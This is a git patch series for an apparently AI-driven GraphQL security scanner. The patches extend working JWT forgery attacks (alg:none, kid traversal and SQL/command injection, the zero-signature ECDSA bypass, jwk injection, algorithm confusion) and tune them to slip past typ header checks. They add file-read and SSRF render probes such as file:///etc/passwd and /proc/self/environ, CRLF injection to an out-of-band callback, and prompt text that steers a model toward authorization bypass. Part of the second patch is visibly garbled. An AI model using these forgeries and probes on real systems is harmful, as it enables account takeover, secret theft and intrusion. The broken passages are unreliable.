From bd208ca788c466f14531efd438b668d336801e24 Mon Sep 17 00:00:00 2001 From: ccc909 Date: Mon, 27 Jul 2026 21:08:47 +0300 Subject: [PATCH 1/3] forge_jwt: preserve the original token's typ/cty header in forgeries Forgeries hardcoded typ:JWT, so a verifier that gates on the header (requires typ:at+jwt, or rejects non-JWT typ) dropped every forgery. Decode the harvested token's header and carry typ/cty forward; when typ is non-standard, also emit a typ:JWT fallback. Confirmation is unchanged (token accepted at a sink), so no added false positives. --- gradientql/scanner/actions/arsenal.py | 4 +- gradientql/scanner/arsenal_tools.py | 16 ++-- gradientql/utils/jwt_attacks.py | 112 +++++++++++++++++++------- tests/test_jwt_attacks.py | 37 +++++++++ 4 files changed, 131 insertions(+), 38 deletions(-) diff --git a/gradientql/scanner/actions/arsenal.py b/gradientql/scanner/actions/arsenal.py index eb2e723..ecf37cf 100644 --- a/gradientql/scanner/actions/arsenal.py +++ b/gradientql/scanner/actions/arsenal.py @@ -177,14 +177,16 @@ def _forge_weak_secret_dictionary(ctx: ActionContext, claims: dict | None) -> st from ...utils import jwt_attacks base: dict = {} + base_header: dict = {} for tok in ctx.harvested.get("jwt", []): base = jwt_attacks.decode_payload(tok) or base if base: + base_header = jwt_attacks.decode_header(tok) # preserve the real token's typ/cty break if isinstance(claims, dict): base = {**base, **claims} - candidates = jwt_attacks.forged_tokens("jwt_weak_secret", base) + candidates = jwt_attacks.forged_tokens("jwt_weak_secret", base, base_header) if not candidates: return "weak_secret: no candidates minted (internal error)" rejected: list[str] = [] diff --git a/gradientql/scanner/arsenal_tools.py b/gradientql/scanner/arsenal_tools.py index df6873e..81d30a2 100644 --- a/gradientql/scanner/arsenal_tools.py +++ b/gradientql/scanner/arsenal_tools.py @@ -74,26 +74,28 @@ def tool_forge_jwt(approach: str, secret: str | None, claims: dict | None, """ from ..utils import jwt_attacks base: dict[str, Any] = {} + base_header: dict[str, Any] = {} for tok in harvested.get("jwt", []): base = jwt_attacks.decode_payload(tok) or base if base: + base_header = jwt_attacks.decode_header(tok) # preserve the real token's typ/cty break if isinstance(claims, dict): base = {**base, **claims} a = (approach or "none").lower() if "confus" in a or "rs256" in a or "alg_conf" in a: - return jwt_attacks.forge_alg_confusion(secret or "", base) + return jwt_attacks.forge_alg_confusion(secret or "", base, base_header) if "jwk" in a: - return jwt_attacks.forge_jwk_injection(base) + return jwt_attacks.forge_jwk_injection(base, base_header) if "psychic" in a or "zero" in a or "r=s" in a: - return jwt_attacks.forge_psychic(base) + return jwt_attacks.forge_psychic(base, base_header=base_header) if "kid" in a and ("sql" in a or "inject" in a or "command" in a): - return jwt_attacks.forge_kid_injection(base, "command" if "command" in a else "sqli") + return jwt_attacks.forge_kid_injection(base, "command" if "command" in a else "sqli", base_header) if "weak" in a or "secret" in a: - return jwt_attacks.forge_hs256(secret or "secret", base) + return jwt_attacks.forge_hs256(secret or "secret", base, base_header) if "kid" in a: - return jwt_attacks.forge_kid_traversal(base) - return jwt_attacks.forge_none(base) + return jwt_attacks.forge_kid_traversal(base, base_header) + return jwt_attacks.forge_none(base, base_header) def tool_smuggle(target_url: str) -> tuple[bool, str]: diff --git a/gradientql/utils/jwt_attacks.py b/gradientql/utils/jwt_attacks.py index 0178ed1..950871c 100644 --- a/gradientql/utils/jwt_attacks.py +++ b/gradientql/utils/jwt_attacks.py @@ -36,6 +36,32 @@ def decode_payload(token: str) -> dict[str, Any]: return {} +def decode_header(token: str) -> dict[str, Any]: + """Decode a JWT's header without verifying, or {} if it cannot be parsed.""" + try: + seg = token.split(".")[0] + seg += "=" * (-len(seg) % 4) + out = json.loads(base64.urlsafe_b64decode(seg)) + return out if isinstance(out, dict) else {} + except Exception: + return {} + + +def _header(alg: str, base_header: dict[str, Any] | None = None, **extra: Any) -> dict[str, Any]: + """Build a forgery header for `alg`, preserving `typ`/`cty` from the original token's header. + + A verifier that gates on the header (requires `typ: at+jwt` for access tokens, or rejects + anything but `typ: JWT`) would drop a forgery that hardcodes `typ: JWT`; carrying the observed + `typ`/`cty` forward lets the forgery survive that check. Falls back to `typ: JWT` when unknown. + """ + h: dict[str, Any] = {"alg": alg, "typ": (base_header or {}).get("typ", "JWT")} + cty = (base_header or {}).get("cty") + if cty: + h["cty"] = cty + h.update({k: v for k, v in extra.items() if v is not None}) + return h + + def _escalated(base: dict[str, Any] | None = None) -> dict[str, Any]: """Copy base claims and overlay admin roles plus fresh iat/exp.""" now = int(time.time()) @@ -48,24 +74,27 @@ def _escalated(base: dict[str, Any] | None = None) -> dict[str, Any]: return p -def forge_none(base_payload: dict[str, Any] | None = None) -> str: - return f"{_seg({'alg': 'none', 'typ': 'JWT'})}.{_seg(_escalated(base_payload))}." +def forge_none(base_payload: dict[str, Any] | None = None, + base_header: dict[str, Any] | None = None) -> str: + return f"{_seg(_header('none', base_header))}.{_seg(_escalated(base_payload))}." -def forge_hs256(secret: str, base_payload: dict[str, Any] | None = None) -> str: - header = _seg({"alg": "HS256", "typ": "JWT"}) +def forge_hs256(secret: str, base_payload: dict[str, Any] | None = None, + base_header: dict[str, Any] | None = None) -> str: + header = _seg(_header("HS256", base_header)) payload = _seg(_escalated(base_payload)) sig = hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest() return f"{header}.{payload}.{_b64u(sig)}" -def forge_kid_traversal(base_payload: dict[str, Any] | None = None) -> str: +def forge_kid_traversal(base_payload: dict[str, Any] | None = None, + base_header: dict[str, Any] | None = None) -> str: """Forge an HS256 token whose kid points at /dev/null, signed with an empty key. Targets servers that load the HMAC key from the kid path: an empty-file key makes the empty-secret signature verify. """ - header = _seg({"alg": "HS256", "typ": "JWT", "kid": "../../../../../../dev/null"}) + header = _seg(_header("HS256", base_header, kid="../../../../../../dev/null")) payload = _seg(_escalated(base_payload)) sig = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest() return f"{header}.{payload}.{_b64u(sig)}" @@ -81,7 +110,8 @@ def forge_kid_traversal(base_payload: dict[str, Any] | None = None) -> str: } -def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str = "sqli") -> str: +def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str = "sqli", + base_header: dict[str, Any] | None = None) -> str: """Forge an HS256 token whose `kid` injects into the server's key lookup (SQLi/command). The kid is crafted so a backend that does `SELECT key WHERE kid=''` (or shells out) @@ -90,12 +120,12 @@ def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str = """ m = (mode or "sqli").lower() if m == "path": - header = _seg({"alg": "HS256", "typ": "JWT", "kid": _KID_PAYLOADS["path"]}) + header = _seg(_header("HS256", base_header, kid=_KID_PAYLOADS["path"])) payload = _seg(_escalated(base_payload)) sig = hmac.new(b"0\n", f"{header}.{payload}".encode(), hashlib.sha256).digest() return f"{header}.{payload}.{_b64u(sig)}" kid = _KID_PAYLOADS.get(m, _KID_PAYLOADS["sqli"]) - header = _seg({"alg": "HS256", "typ": "JWT", "kid": kid}) + header = _seg(_header("HS256", base_header, kid=kid)) payload = _seg(_escalated(base_payload)) sig = hmac.new(_KID_INJECT_KEY.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest() return f"{header}.{payload}.{_b64u(sig)}" @@ -104,14 +134,15 @@ def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str = _PSYCHIC_SIG_LEN = {"ES256": 64, "ES384": 96, "ES512": 132} -def forge_psychic(base_payload: dict[str, Any] | None = None, alg: str = "ES256") -> str: +def forge_psychic(base_payload: dict[str, Any] | None = None, alg: str = "ES256", + base_header: dict[str, Any] | None = None) -> str: """Forge an ECDSA (ES256/384/512) token with an all-zero r=s=0 signature (CVE-2022-21449). A verifier on a vulnerable JVM (or any impl that doesn't reject r=0/s=0) treats the trivially-forgeable zero signature as valid, so any attacker-crafted token passes. """ a = (alg or "ES256").upper() - header = _seg({"alg": a, "typ": "JWT"}) + header = _seg(_header(a, base_header)) payload = _seg(_escalated(base_payload)) sig = _b64u(b"\x00" * _PSYCHIC_SIG_LEN.get(a, 64)) return f"{header}.{payload}.{sig}" @@ -138,7 +169,8 @@ def _rs256_sign(message: bytes, d: int, n: int) -> bytes: return pow(int.from_bytes(em, "big"), d, n).to_bytes(k, "big") -def forge_jwk_injection(base_payload: dict[str, Any] | None = None) -> str: +def forge_jwk_injection(base_payload: dict[str, Any] | None = None, + base_header: dict[str, Any] | None = None) -> str: """Forge an RS256 token that embeds our own public key in the `jwk` header (self-signed). Verifiers that trust the token's embedded `jwk` instead of a pinned key validate any @@ -146,19 +178,20 @@ def forge_jwk_injection(base_payload: dict[str, Any] | None = None) -> str: """ jwk = {"kty": "RSA", "n": _b64u(_int_to_bytes(_ATTACKER_RSA_N)), "e": _b64u(_int_to_bytes(_ATTACKER_RSA_E))} - header = _seg({"alg": "RS256", "typ": "JWT", "jwk": jwk}) + header = _seg(_header("RS256", base_header, jwk=jwk)) payload = _seg(_escalated(base_payload)) sig = _rs256_sign(f"{header}.{payload}".encode(), _ATTACKER_RSA_D, _ATTACKER_RSA_N) return f"{header}.{payload}.{_b64u(sig)}" -def forge_alg_confusion(pubkey_pem: str, base_payload: dict[str, Any] | None = None) -> str: +def forge_alg_confusion(pubkey_pem: str, base_payload: dict[str, Any] | None = None, + base_header: dict[str, Any] | None = None) -> str: """RS256->HS256 confusion: HMAC-sign with the server's RSA public key as the secret. A verifier that reads `alg` from the token header will HMAC-verify with the (public) RSA key it normally uses for RSA verification, so this attacker-signed token validates. """ - return forge_hs256(pubkey_pem, base_payload) + return forge_hs256(pubkey_pem, base_payload, base_header) # --- JWKS discovery + JWK->PEM (for RS256->HS256 confusion) ------------------------------------ # @@ -230,22 +263,41 @@ def fetch_rsa_pubkey_pem(endpoint_url: str, session: Any = None) -> str | None: return None -def forged_tokens(approach: str, base_payload: dict[str, Any] | None = None) -> list[tuple[str, str]]: +def forged_tokens(approach: str, base_payload: dict[str, Any] | None = None, + base_header: dict[str, Any] | None = None) -> list[tuple[str, str]]: """Return (label, token) pairs for one attack approach, or [] if unknown. - The weak-secret approach yields one candidate per entry in WEAK_SECRETS. + Forgeries preserve the original token's `typ`/`cty` (via `base_header`). When that `typ` + is non-standard (not `JWT`), each approach also emits a `typ: JWT` fallback so both a + typ-gating and a typ-agnostic verifier are covered. The weak-secret approach yields one + candidate per entry in WEAK_SECRETS and is not multiplied by the typ variants. """ + variants: list[dict[str, Any]] = [base_header or {}] + orig_typ = (base_header or {}).get("typ") + if orig_typ and orig_typ != "JWT": + variants.append({**(base_header or {}), "typ": "JWT"}) + + def lbl(name: str, h: dict[str, Any]) -> str: + return f"{name} typ={h.get('typ', 'JWT')}" if len(variants) > 1 else name + + out: list[tuple[str, str]] = [] if approach == "jwt_none_alg": - return [("alg:none", forge_none(base_payload))] - if approach == "jwt_kid_inject": - return [("kid:/dev/null", forge_kid_traversal(base_payload))] - if approach == "jwt_kid_sqli": - return [("kid:sqli", forge_kid_injection(base_payload, "sqli")), - ("kid:command", forge_kid_injection(base_payload, "command"))] - if approach == "jwt_jwk_inject": - return [("jwk:embedded", forge_jwk_injection(base_payload))] - if approach == "jwt_psychic": - return [("psychic:ES256", forge_psychic(base_payload, "ES256"))] - if approach == "jwt_weak_secret": - return [(f"hs256:{s}", forge_hs256(s, base_payload)) for s in WEAK_SECRETS] - return [] + for h in variants: + out.append((lbl("alg:none", h), forge_none(base_payload, h))) + elif approach == "jwt_kid_inject": + for h in variants: + out.append((lbl("kid:/dev/null", h), forge_kid_traversal(base_payload, h))) + elif approach == "jwt_kid_sqli": + for h in variants: + out.append((lbl("kid:sqli", h), forge_kid_injection(base_payload, "sqli", h))) + out.append((lbl("kid:command", h), forge_kid_injection(base_payload, "command", h))) + elif approach == "jwt_jwk_inject": + for h in variants: + out.append((lbl("jwk:embedded", h), forge_jwk_injection(base_payload, h))) + elif approach == "jwt_psychic": + for h in variants: + out.append((lbl("psychic:ES256", h), forge_psychic(base_payload, "ES256", h))) + elif approach == "jwt_weak_secret": + h = variants[0] # preserve the observed typ; don't multiply the 17-secret battery + out = [(f"hs256:{s}", forge_hs256(s, base_payload, h)) for s in WEAK_SECRETS] + return out diff --git a/tests/test_jwt_attacks.py b/tests/test_jwt_attacks.py index bf8f09b..4847263 100644 --- a/tests/test_jwt_attacks.py +++ b/tests/test_jwt_attacks.py @@ -167,3 +167,40 @@ def test_tool_forge_jwt_dispatches_new_approaches(): def test_forged_tokens_new_lists(): assert jw.forged_tokens("jwt_psychic") and jw.forged_tokens("jwt_jwk_inject") assert len(jw.forged_tokens("jwt_kid_sqli")) == 2 + + +def test_decode_header_roundtrip(): + from gradientql.utils import jwt_attacks + h = jwt_attacks.decode_header(jwt_attacks.forge_hs256("secret", {"sub": "1"})) + assert h.get("alg") == "HS256" and h.get("typ") == "JWT" + assert jwt_attacks.decode_header("not-a-jwt") == {} + + +def test_forgeries_preserve_captured_typ_and_cty(): + from gradientql.utils import jwt_attacks + bh = {"alg": "RS256", "typ": "at+jwt", "cty": "example"} + for tok in (jwt_attacks.forge_none(None, bh), + jwt_attacks.forge_hs256("s", None, bh), + jwt_attacks.forge_jwk_injection(None, bh), + jwt_attacks.forge_psychic(None, "ES256", bh), + jwt_attacks.forge_kid_traversal(None, bh), + jwt_attacks.forge_kid_injection(None, "sqli", bh)): + h = jwt_attacks.decode_header(tok) + assert h["typ"] == "at+jwt" and h.get("cty") == "example" + # default (no base header) still yields typ:JWT and no cty + h0 = jwt_attacks.decode_header(jwt_attacks.forge_none()) + assert h0["typ"] == "JWT" and "cty" not in h0 + + +def test_forged_tokens_typ_variation(): + from gradientql.utils import jwt_attacks + # a non-standard typ emits BOTH the preserved typ and a JWT fallback + cands = jwt_attacks.forged_tokens("jwt_none_alg", {"sub": "1"}, {"typ": "at+jwt"}) + assert sorted(jwt_attacks.decode_header(t)["typ"] for _, t in cands) == ["JWT", "at+jwt"] + # standard / no header -> single candidate, original label unchanged (back-compat) + plain = jwt_attacks.forged_tokens("jwt_none_alg", {"sub": "1"}) + assert len(plain) == 1 and plain[0][0] == "alg:none" + # the weak-secret battery is not multiplied by typ variants + weak = jwt_attacks.forged_tokens("jwt_weak_secret", {"sub": "1"}, {"typ": "at+jwt"}) + assert len(weak) == len(jwt_attacks.WEAK_SECRETS) + assert all(jwt_attacks.decode_header(t)["typ"] == "at+jwt" for _, t in weak) From 1235e93ec46de6d1e1bff7a682dfbe9b49127b0f Mon Sep 17 00:00:00 2001 From: ccc909 Date: Mon, 27 Jul 2026 21:40:06 +0300 Subject: [PATCH 2/3] fuzz: route render probes by arg type and widen the render-vector ladder A URL-input render sink was handed an ") + _CANARY = "FZc4n4ry7q" _MAX_PAYLOADS = 14 _NON_INJECTABLE_SCALARS = {"Int", "Float", "Boolean"} @@ -173,7 +188,7 @@ def handle_fuzz(ctx: ActionContext, args: dict) -> Result: try: url, _label = ctx.oob_sess.issue({"approach": "fuzz", "node": label}) if oob_cls == "render": - payloads.append(("render", f"")) + payloads.append(_render_vector(arg, url)) elif oob_cls == "crlf": payloads.append(("crlf", f"gqlcrlf\r\nLocation: {url}")) else: diff --git a/gradientql/scanner/payloads.py b/gradientql/scanner/payloads.py index 3cbeb3c..972b4bb 100644 --- a/gradientql/scanner/payloads.py +++ b/gradientql/scanner/payloads.py @@ -42,11 +42,19 @@ # server-side browser. file:// reads local files (auto-confirmed when /etc/passwd content reflects); # the iframe/img/link probes fetch internal/metadata URLs (confirm via the OOB URL fuzz also injects). RENDER_PROBES: list[str] = [ + # direct file:// reads (auto-confirmed when the file's content reflects) "file:///etc/passwd", "file:///c:/windows/win.ini", + "file://localhost/etc/passwd", + "file:///proc/self/environ", + # HTML sub-resource vectors different render engines follow (confirm via reflected content or OOB) "", - "", + "", + "", "", + "", + "", + "", "") + assert _render_vector("template", "http://oob")[0] == "render" + assert _render_vector("bio", "http://oob")[0] == "render" # unknown -> conservative HTML + assert _render_vector("source", "http://oob")[0] == "render" # HTML hint wins over 'src' substring diff --git a/tests/test_scanner_payloads.py b/tests/test_scanner_payloads.py index d3f4be0..9e2961d 100644 --- a/tests/test_scanner_payloads.py +++ b/tests/test_scanner_payloads.py @@ -30,3 +30,13 @@ def test_ssti_hit_confirms_eval_only(): assert payloads.ssti_hit("#{1337*1337}", "you sent #{1337*1337}") is None # unknown/custom payload -> not in the catalog map assert payloads.ssti_hit("{{custom}}", "anything 1787569") is None + + +def test_render_probes_cover_more_engines(): + from gradientql.scanner.payloads import CLASS_PROBES, RENDER_PROBES + assert CLASS_PROBES["render"] is RENDER_PROBES + assert any("file:///etc/passwd" in p for p in RENDER_PROBES) # direct read kept + joined = " ".join(RENDER_PROBES).lower() + for tag in ("= 10 From 17b1c58c9589406364d21e4e1721a8c68a732aa3 Mon Sep 17 00:00:00 2001 From: ccc909 Date: Mon, 27 Jul 2026 21:40:07 +0300 Subject: [PATCH 3/3] Surface interface/union types to the model for inline-fragment authz testing The INTERFACE/UNION authz-bypass vector was documented but the model had to discover the polymorphic types itself. Add coverage.polymorphic_types (reads _type_kinds/_possible_types, resume-safe) and list each interface/union with its concrete members in the prompt's targets block, so the model knows where to spread '... on '. --- gradientql/scanner/coverage.py | 22 ++++++++++++++++++++++ gradientql/scanner/prompt.py | 7 +++++++ tests/test_scanner_coverage.py | 12 ++++++++++++ tests/test_scanner_prompt.py | 9 +++++++++ 4 files changed, 50 insertions(+) diff --git a/gradientql/scanner/coverage.py b/gradientql/scanner/coverage.py index 6aba387..dcbc4e3 100644 --- a/gradientql/scanner/coverage.py +++ b/gradientql/scanner/coverage.py @@ -60,6 +60,28 @@ def high_value_fields(schema_map: dict[str, Any]) -> set[str]: return {f for info in high_value_targets(schema_map).values() for f in info["fields"]} +def polymorphic_types(schema_map: dict[str, Any]) -> dict[str, list[str]]: + """Map each interface/union type to its concrete member types. + + An inline fragment `... on { field }` on an interface/union-typed field can reach a + field whose authorization is enforced on the concrete type but not the abstract path - a + broken-access-control lead. Reads `_type_kinds`/`_possible_types` (which survive a checkpoint + resume) rather than the `_interfaces`/`_unions` sets (JSON-serialized to lists on resume). + """ + out: dict[str, list[str]] = {} + kinds = schema_map.get("_type_kinds") + if not isinstance(kinds, dict): + return out + for tname, kind in kinds.items(): + if kind not in ("INTERFACE", "UNION"): + continue + node = schema_map.get(tname) + members = node.get("_possible_types") if isinstance(node, dict) else None + if members: + out[str(tname)] = [m for m in members if isinstance(m, str)] + return out + + def bfla_sensitive_fields(schema_map: dict[str, Any]) -> set[str]: return {f for label, info in high_value_targets(schema_map).items() if label in _BFLA_AUTORECORD for f in info["fields"]} diff --git a/gradientql/scanner/prompt.py b/gradientql/scanner/prompt.py index 0eab8fc..909d091 100644 --- a/gradientql/scanner/prompt.py +++ b/gradientql/scanner/prompt.py @@ -352,6 +352,13 @@ def build_prompt(ctx: dict[str, Any]) -> str: int(ctx.get("findings", 0)), total_root=total_root, untouched_sweepable=untouched_sweepable, require_args=require_args) high_value = render_high_value(sm, ledger) or " (none detected for this schema)" + from .coverage import polymorphic_types + poly = polymorphic_types(sm) + if poly: + poly_lines = "; ".join(f"{t} -> [{', '.join(members[:6])}]" + for t, members in list(poly.items())[:8]) + high_value += ("\n interface/union types (INTERFACE/UNION authz bypass: spread `... on ` " + f"to reach fields blocked on the concrete path): {poly_lines}") ident = ", ".join(ctx["identity"].keys()) or "anonymous (no auth)" steering = ctx.get("steering") or [] steer_block = "" diff --git a/tests/test_scanner_coverage.py b/tests/test_scanner_coverage.py index 3f0fe7e..f37a864 100644 --- a/tests/test_scanner_coverage.py +++ b/tests/test_scanner_coverage.py @@ -131,3 +131,15 @@ def test_token_arg_fields_finds_me_token_jwt_sink(): plain = {"_query_type": "Query", "_mutation_type": "Mutation", "Mutation": {}, "Query": {"products": {"args": [{"name": "q", "type": "String"}], "return_type": "[Product]"}}} assert coverage.token_arg_fields(plain) == [] + + +def test_polymorphic_types_maps_interface_union_members(): + from gradientql.scanner import coverage + sm = {"_type_kinds": {"SearchResult": "UNION", "Node": "INTERFACE", "User": "OBJECT"}, + "SearchResult": {"_kind": "UNION", "_possible_types": ["AdminUser", "PublicPost"]}, + "Node": {"_kind": "INTERFACE", "_possible_types": ["AdminUser", "Order"], + "id": {"return_type": "ID", "args": []}}, + "User": {"id": {"return_type": "ID", "args": []}}} + assert coverage.polymorphic_types(sm) == { + "SearchResult": ["AdminUser", "PublicPost"], "Node": ["AdminUser", "Order"]} + assert coverage.polymorphic_types({}) == {} # no _type_kinds -> empty diff --git a/tests/test_scanner_prompt.py b/tests/test_scanner_prompt.py index b91beec..53ea35b 100644 --- a/tests/test_scanner_prompt.py +++ b/tests/test_scanner_prompt.py @@ -168,3 +168,12 @@ def test_forge_jwt_doc_lists_new_approaches(sample_introspection_result): p = prompt.build_prompt(_ctx(sm)) for approach in ("confusion", "jwk", "psychic", "kid_sqli"): assert approach in p + + +def test_build_prompt_surfaces_interface_union_targets(): + sm = {"_query_type": "Query", "_mutation_type": "Mutation", + "Query": {"search": {"args": [], "return_type": "SearchResult", "description": ""}}, + "Mutation": {}, "_type_kinds": {"SearchResult": "UNION"}, + "SearchResult": {"_kind": "UNION", "_possible_types": ["AdminUser", "PublicPost"]}} + p = prompt.build_prompt(_ctx(sm)) + assert "SearchResult -> [" in p and "AdminUser" in p